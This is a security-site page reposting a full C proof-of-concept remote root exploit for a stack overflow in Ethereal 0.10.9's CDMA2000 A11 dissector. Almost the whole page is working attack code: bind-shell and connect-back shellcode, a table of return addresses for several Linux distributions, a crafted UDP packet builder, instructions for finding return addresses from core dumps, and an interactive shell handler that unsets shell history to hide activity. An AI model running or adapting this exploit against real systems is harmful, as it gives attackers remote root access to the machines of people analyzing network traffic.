首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Ethereal CDMA2000 A11 Dissector Remote Root Exploit
来源:dgiagio@irion.com.br 作者:Diego 发布时间:2005-03-15  

Ethereal CDMA2000 A11 Dissector Remote Root Exploit

/*
* Ethereal 0.10.9 and below proof-of-concept remote root exploit
* (c) 2005 Diego Giagio <dgiagio irion com br>
*
* The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack overflow
* vulnerability when decoding Airlink records. This vulnerability was also
* discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
* contacted.
*
*
* Notes:
*
* This program has only been tested on Linux.
*
* If your system isn't on the target list and you are running Linux (x86), you
* can easily find your system's ret address. See below:
*
* First you need to force Ethereal dump a core file.
* bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p 65535
*
* Then, use the script below to find the ret address from the core file:
* --snip--
* #!/bin/sh
*
* ADDR=`objdump -D -s core | * grep "90909090 90909090 90909090 90909090" | * head
-2 | tail -1 | awk '{print 0x$1}'`
* echo "Address: 0x$ADDR"
* --snip--
*
* Use that address with the -a <address> option. Good luck.
*
*
* Greets:
*
* ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
* surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
*
* #buffer ircs ircsnet net
*
*/

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

/*
* portbind, execve /bin/sh linux shellcode by BreeZe <breeze binbash org>
*/
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";

/*
* connectback, execve /bin/sh linux shellcode by BreeZe <breeze binbash org>
* slighty modified by Diego Giagio <dgiagio irion com br>
*/
char sc_connectback[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";


typedef enum
{
SC_NULL = -1,
SC_PORTBIND = 1,
SC_CONNECTBACK = 2
} shellcode_type_t;

struct shellcode_t
{
int id;

shellcode_type_t type;

char *desc;
char *data;

int host_offset;
int port_offset;
};

struct shellcode_t shellcode_list[] =
{
{1, SC_PORTBIND, "portbind", sc_portbind, -1, 33},
{2, SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
{-1, SC_NULL, NULL, NULL, -1, -1}
};

struct target_t
{
int id;
char *desc;
long addr;
};

struct target_t target_list[] =
{
{1, "Slackware 10.1 - ethereal 0.10.9 from source", 0x0812d110},
{2, "Slackware 10.1 - tethereal 0.10.9 from source", 0x081f30d0},
{3, "Fedora Core 3 - ethereal 0.10.9 from rpm", 0x08117a80},
{4, "Fedora Core 3 - tethereal 0.10.9 from rpm", 0x08690ac0},
{4, "Gentoo 2004.3 - tethereal 0.10.9 from portage", 0x081c3d90},
{-1, NULL, -1}
};

#define PROTO_3G_A11_PORT 699

char proto_3g_a11_begin[] =
"\x01" // a11 message type - registration request
"\x0a" // flags
"\xff\xff" // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26" // ext type - CVSE_EXT
"\x00" // nada
"\xff\xff" // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01" // vse apptype 0x0101
;

char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;

char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;

static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
int i;

for (i=0; shellcode_list[i].id != -1; i++)
{
if (shellcode_list[i].id == id)
{
*sc = &shellcode_list[i];
return 0;
}
}

return -1;
}

static int
find_target_by_id (int id, struct target_t **target)
{
int i;

for (i=0; target_list[i].id != -1; i++)
{
if (target_list[i].id == id)
{
*target = &target_list[i];
return 0;
}
}

return -1;
}

int
parse_ip (const char *ipstr, long *ip)
{
int a, b, c, d;

if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
return -1;

*ip = (d & 0x000000ff);
*ip |= (c & 0x000000ff) << 8;
*ip |= (b & 0x000000ff) << 16;
*ip |= (a & 0x000000ff) << 24;

return 0;
}

static int
sock_create (int type, int proto)
{
struct linger l;
int sock;
int sockopt;
int ret;

sock = socket (type, proto, 0);
if (sock < 0)
return -1;

l.l_onoff = 1;
l.l_linger = 0;
ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
if (ret < 0)
{
close (sock);
return -2;
}

sockopt = 1;
ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
sizeof (sockopt));
if (ret < 0)
{
close (sock);
return -3;
}

return sock;
}

static int
sock_udp_create (void)
{
return sock_create (AF_INET, SOCK_DGRAM);
}

static int
sock_tcp_create (void)
{
return sock_create (AF_INET, SOCK_STREAM);
}

static int
sock_connect (int sock, long host, int port)
{
struct sockaddr_in addr;

memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);

if (connect (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;

return sock;
}

static int
sock_bind (int sock, long host, int port)
{
struct sockaddr_in addr;

memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);

if (bind (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;

if (listen (sock, 1) < 0)
return -1;
}

static int
sock_accept (int sock)
{
fd_set fds;
struct sockaddr_in addr;
struct timeval tv;
int new_sock;
int ret;

FD_ZERO (&fds);
FD_SET (sock, &fds);

tv.tv_sec = 10;
tv.tv_usec = 0;

ret = select (sock + 1, &fds, NULL, NULL, &tv);
if (ret < 0)
return -1;

if (ret == 0)
{
errno = ETIMEDOUT;
return -1;
}

if (FD_ISSET (sock, &fds))
{
int i = sizeof (addr);

new_sock = accept (sock, (struct sockaddr *)&addr, &i);
if (new_sock < 0)
return -1;

return new_sock;
}

return -1;
}

static void
sock_disconnect (int sock)
{
close (sock);
}

static int
sock_send_payload (long dest, int port, char *packet, int packet_len)
{
int sock;

/* create udp socket */
sock = sock_udp_create ();
if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0)
return -1;

/* send packet */
send (sock, packet, packet_len, 0);

printf ("[-] UDP packet sent (%d bytes).\n", packet_len);
fflush (stdout);

/* disconnect socket */
sock_disconnect (sock);

return 0;
}

static void
shell (int sock)
{
fd_set fds;
char *cmd = "unset HISTFILE; /bin/uname -a; /usr/bin/id\n";
char buf [2048];
int n;

printf ("[-] Enjoy your shell\n");
printf ("\n");


send (sock, cmd, strlen (cmd), 0);

while (1)
{
FD_ZERO (&fds);
FD_SET (sock, &fds); /* socket */
FD_SET (0, &fds); /* stdin */

if (select (sock + 1, &fds, NULL, NULL, NULL) < 0)
break;

if (FD_ISSET (sock, &fds))
{
if ((n = recv (sock, buf, sizeof (buf), 0)) < 0)
{
perror ("[-] shell(): error reading from socket: recv()");
return;
}

if (n == 0)
break;

if ((write (1, buf, n)) < 0)
{
perror ("[-] shell(): error writing to stdout: write()");
return;
}
}

if (FD_ISSET (0, &fds))
{
if ((n = read (0, buf, sizeof (buf))) < 0)
{
perror ("[-] shell(): error reading from stdin: read()");
return;
}

if ((send (sock, buf, n, 0)) < 0)
{
perror ("[-] shell(): error writing to socket: send()");
return;
}

if (n == 0)
break;
}
}

printf ("[-] Connection closed.\n");
}

static void
shell_portbind (long dest, int port, char *packet, int packet_len)
{
int sock;


if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}

sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}

printf ("[-] Delaying 3 seconds before connection attempt (portbind).");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf ("\n");

if (sock_connect (sock, dest, port) < 0)
{
perror ("[-] Unable to connect");
return;
}

shell (sock);
sock_disconnect (sock);
}

static void
shell_connectback (long host, int port, long dest,
char *packet, int packet_len)
{
int sock;
int new_sock;

sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}

/* we bind before sending the payload to avoid not being
* listening when the connectback shellcode tries to connect
*/
if (sock_bind (sock, host, port) < 0)
{
perror ("[-] Unable to bind/listen");
return;
}

if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}

printf ("[-] Waiting 10s for incoming connection (connectback)...\n");
fflush (stdout);

new_sock = sock_accept (sock);
if (new_sock < 0)
{
perror ("[-] Unable to accept connection");
return;
}

sock_disconnect (sock);

shell (new_sock);
sock_disconnect (new_sock);
}

static void
prog_info (void)
{
printf ("Ethereal 0.10.9 and below proof-of-concept remote exploit.\n");
printf ("(c) 2005 Diego Giagio <dgiagio irion com br>\n");
printf ("\n");
}

static void
usage (const char *prog)
{
int i;

prog_info ();

printf ("Usage:\n");
printf (" [-] %s -t <target> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n"
" [-] %s -a <addr> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n", prog, prog);

printf ("\n");

printf ("Target:\n");
for (i=0; target_list[i].id != -1; i++)
{
printf (" [-] %d. %s, addr: 0x%x\n",
target_list[i].id, target_list[i].desc, target_list[i].addr);
}

printf ("\n");

printf ("Shellcode:\n");
for (i=0; shellcode_list[i].id != -1; i++)
{
printf (" [-] %d. %s\n",
shellcode_list[i].id,
shellcode_list[i].desc);
}

printf ("\n");

printf ("Info:\n");
printf (" [-] 1. When using connectback shellcode, you must specify\n");
printf (" [-] the host to receive the connection (-h).\n");
printf ("\n");
printf (" [-] 2. When using portbind shellcode, the option (-h) will \n");
printf (" [-] have no effect.\n");

printf ("\n");
}

int
main (int argc, char *argv[])
{
struct target_t *target = NULL;
struct shellcode_t *shellcode = NULL;
int shellcode_len;

long dest = 0;
long host = 0;
int port = 0;
long addr = 0;

int opt;
int opt_err = 0;
int i;

char *ptr_pkt;
char pkt[1500];
int pkt_len;

while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF)
{
switch (opt)
{

case 't': /* target id */
if (find_target_by_id (atoi (optarg), &target) < 0)
{
printf ("Not a valid target id.\n");
opt_err ++;
}
break;

case 's': /* shellcode id */
if (find_shellcode_by_id (atoi (optarg), &shellcode) < 0)
{
printf ("Not a valid shellcode id.\n");
opt_err ++;
}
break;

case 'd': /* destination */
if (parse_ip (optarg, &dest) < 0)
{
printf ("Invalid address for destination.\n");
opt_err ++;
}
break;

case 'h': /* host for connectback */
if (parse_ip (optarg, &host) < 0)
{
printf ("Invalid address for host.\n");
opt_err ++;
}

break;

case 'p': /* port for connectback or portbind */
port = atoi (optarg);
if (port < 0 || port > 65535)
{
printf ("Invalid port.\n");
opt_err ++;
}

break;

case 'a': /* ret address */
if (sscanf (optarg, "0x%x", &addr) != 1)
{
printf ("Invalid address.\n");
opt_err ++;
}
break;

case '?':
default:
usage (argv[0]);
opt_err ++;
break;
}
}

if (opt_err != 0)
return -1;

if (argc < 2)
{
usage (argv[0]);
return 0;
}

if (target == NULL && addr == 0)
{
printf ("Please choose either a target (-t) or an address (-a).\n");
return -1;
}

if (target != NULL && addr != 0)
{
printf ("Target (-t) and address (-a) cannot be used together.\n");
return -1;
}

addr = target != NULL ? target->addr : addr;

if (shellcode == NULL)
{
printf ("Please choose a shellcode (-s).\n");
return -1;
}

shellcode_len = strlen (shellcode->data);

if (dest == 0)
{
printf ("Please choose a destination (-d).\n");
return -1;
}

if (shellcode->host_offset != -1)
{
char *ptr;

if (host == 0)
{
printf ("Please choose a host (-h).\n");
return -1;
}

ptr = shellcode->data + shellcode->host_offset;
*(ptr++) = (host & 0xff000000) >> 24;
*(ptr++) = (host & 0x00ff0000) >> 16;
*(ptr++) = (host & 0x0000ff00) >> 8;
*(ptr++) = (host & 0x000000ff);
}

if (shellcode->port_offset != -1)
{
char *ptr;

if (port == 0)
{
printf ("Please choose a port (-p).\n");
return -1;
}

ptr = shellcode->data + shellcode->port_offset;
*(ptr++) = (port & 0xff00) >> 8;
*(ptr++) = (port & 0x00ff);
}


/* copyright */
prog_info ();

/* some info */
printf ("[-] Using addr 0x%x\n", addr);
fflush (stdout);

/* build packet */
ptr_pkt = pkt;

memcpy (ptr_pkt, proto_3g_a11_begin,
sizeof (proto_3g_a11_begin));
ptr_pkt += sizeof (proto_3g_a11_begin) - 1;

memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
sizeof (proto_3g_a11_before_shellcode));
ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;

/* shellcode */
memset (ptr_pkt, 0x90, 255);
ptr_pkt += 255 - shellcode_len - 2;
memcpy (ptr_pkt, shellcode->data, shellcode_len);
ptr_pkt += shellcode_len;

memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
sizeof (proto_3g_a11_before_retaddrs));
ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;

/* addrs */
for (i=0; i<254; i+=4)
{
ptr_pkt[i] = (addr & 0x000000ff);
ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
}
ptr_pkt += 254;

/* calc packet len */
pkt_len = ptr_pkt - pkt;


switch (shellcode->type)
{
case SC_PORTBIND:
shell_portbind (dest, port, pkt, pkt_len);
break;
case SC_CONNECTBACK:
shell_connectback (host, port, dest, pkt, pkt_len);
break;
default:
/* NOT REACHED */
break;
}

return 0;
}




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·phpBB User id Auth. Bypass and
·Frank McIngvale LuxMan Local B
·PaX VMA Mirroring Unmapping Vu
·Freeciv Server 2.0.0 beta 8 Re
·Ethereal IAPP Remote Buffer Ov
·PaX VMA Mirroring Unmapping Vu
·Mysql 4.x CREATE FUNCTION libc
·iSnooker v1.6.8 Local Password
·Mysql 4.x CREATE FUNCTION Arbi
·iPool v1.6.81 Local Password D
·Buffer Overflow In Ethereal (C
·GoodTech Telnet Server 5.x Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved